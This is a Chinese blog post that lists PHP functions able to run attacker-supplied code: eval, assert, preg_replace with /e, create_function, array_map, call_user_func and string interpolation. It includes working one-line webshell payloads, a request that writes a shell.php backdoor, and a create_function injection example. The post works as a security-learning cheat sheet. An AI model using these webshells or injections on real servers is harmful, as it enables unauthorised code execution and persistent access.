代码执行

代码执行

函数解析

为了方便,把执行的代码都用$a代表

1、eval($a)

  • 可以执行多行语句

    <?php
    eval('phpinfo();phpinfo();'')
    ?>
    

2、assert($a)

  • 可以执行单行语句

    <?php
    assert('phpinfo();');
    assert('eval("phpinfo();phpinfo();")'); // 嵌套使用
    ?>
    

3、preg_replace(正则表达式, 替换的内容, 要替换的字符串)

  • 正则匹配出现 /e 的修饰符

  • /e 模式的作用是将替换串中的内容当作代码来执行

    • 当正则表达式匹配的东西和要替换的字符串皮配不上时,就会失效
    <?php
    preg_replace('/sys/e', $_GET[8], 'system');
    ?>
    

    访问该文件传入?8=system('dir'), 会输出该目录下的文件然后加上 tem

    • 写入一句话木马

      ?8=file_put_contents('shell.php','<?php eval($_REQUEST[2]);?>')
      

4、create_function()

  • 匿名函数

    <?php
        $a = create_function('$id', 'system($id);'); // 自定义函数$a
    	echo $a('whoami'); // 输出当前权限
    ?>
    
    <?php
        $a = create_function('', '$_REQUEST[8]'); // 自定义函数$a,第一个空代表形参是空,第二个代表函数内容
    
        function a(){
        	$_REQUEST[8];
        }
        // 当传入?8=;}phpinfo();//会把这个函数给进行闭合,然后执行phpinfo();最后把}]进行注释,就会变成
    	function a(){ $_REQUEST[8]; }
    	phpinfo();
    	//}
    ?>
    

5、array_map(要用的函数,要处理的值[值一定是数组])

  • 回调函数,调用某个函数,对数组进行处理

    • 一句话木马
    <?php
    array_map('assert', array($_REQUEST['a']));
    
    array_map($_REQUEST['a'], array($_REQUEST['b']));
    ?>
    

6、call_user_func()

  • 也是回调函数

7、双引号二次解析

  • php的字符串高级用法
  • php版本在5.5以上才可以使用
"${phpinfo()}"
posted @ 2022-07-12 17:22  余星酒  阅读(344)  评论(0)    收藏  举报